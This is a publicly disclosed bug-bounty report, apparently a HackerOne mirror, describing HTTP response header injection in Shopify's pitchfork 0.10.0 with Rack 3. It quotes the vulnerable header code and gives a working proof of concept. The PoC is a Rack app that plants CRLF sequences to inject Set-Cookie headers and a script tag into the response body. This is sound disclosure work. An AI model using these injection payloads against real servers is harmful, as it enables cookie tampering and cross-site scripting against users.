HexBrain

Shopify · Report #2279572

HTTP Response Header Injection in shopify/pitchfork + Rack 3

Validstatus
lowseverity
$800bounty
136upvotes
27 Mar 2025disclosed

Summary

HTTP response header injection in Pitchfork version 0.10.0 when used with Rack 3. The vulnerability stems from improper handling of header values containing newline characters \n in the append_header method of the HTTP response module. When Rack 3 was in use, newline characters in values were not properly sanitized and were displayed as-is in the output, enabling header injection. For more details, see the security advisory GHSA-pfqj-w6r6-g86v (CVE-2025-30221).

How it was found

I have confirmed HTTP response header injection and XSS in combination of pitchfork + Rack 3.

Here's where the problem is in the code.

https://github.com/Shopify/pitchfork/blob/v0.10.0/lib/pitchfork/http_response.rb#L23C1-L33C8

    def append_header(buf, key, value)
      case value
      when Array # Rack 3
        value.each { |v| buf << "#{key}: #{v}\r\n" }
      when /\n/ # Rack 2
        # avoiding blank, key-only cookies with /\n+/
        value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
      else
        buf << "#{key}: #{value}\r\n"
      end
    end

When using Rack 3, \n contained in value will be displayed as is in the output.


PoC

❯ ruby -v
ruby 3.2.2 (2023-03-30 revision e51014f9c0) [arm64-darwin22]

❯ cat Gemfile
# frozen_string_literal: true

source "https://rubygems.org"

gem 'pitchfork', '~> 0.10.0'%

❯ bundle install
=> install rack (3.0.8)

nginx.conf

events {
    worker_connections  16;
}
http {
    server {
        listen 80;
        server_name localhost;

        location / {
            proxy_pass http://host.docker.internal:3000/;
            
            proxy_redirect off;
        }
    }
}

injection.ru

class PitchForkHeaderInjection
  def call(env)
    params =  Rack::Request.new(env).params
    location = if params["mode"] == "rn"
                 ["a\r\nSet-cookie: injected=value"]
               elsif params["mode"] == "r"
                 ["b\rSet-cookie: injected_2=value2"]
               elsif params["mode"] == "n"
                 ["c\nSet-cookie: injected_3=value3"]
               elsif params["mode"] == "b"
                 ["d\r\n\r\n<script>alert(location)</script>"]
               else 
                  [""]
               end

    [ 200,
      {
       'content-type' => 'text/html',
        'location' => location
        },
      [""]
    ]
  end
end

run PitchForkHeaderInjection.new

Start server

❯ docker run --name pitchfork_header -v $(pwd)/nginx.conf:/etc/nginx/nginx.conf:ro -d -p 8080:80 nginx 

❯ RACK_ENV=production bundle exec pitchfork -p 3000 injection.ru
# If RACK_ENV=production is not present, an error will occur due to Rack::Lint.

Access from browser

http://localhost:8080/?mode=rn

{F2913343}

http://localhost:8080/?mode=r

{F2913344}

http://localhost:8080/?mode=n

{F2913345}

Cookie status

{F2913347}

Header injection succeeds in case of r\n and \n. If only \r, nginx will prevent it.

http://localhost:8080/?mode=b

{F2913349}

Since r\n can be inserted, the response body can also be spoofed and XSS will be fired.

Impact

If attacker can manipulate the redirect destination or cookie value, HTTP response header injection and XSS is possible. (Past cases https://hackerone.com/reports/904059#activity-8945588 )

In the case of Rack 2, the value of \n is not included, and nginx prevents \r, so it is not treated as a vulnerability. (Discussion on Unicorn https://yhbt.net/unicorn-public/20210226111552.GA22901@dcvr/T/#t )

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original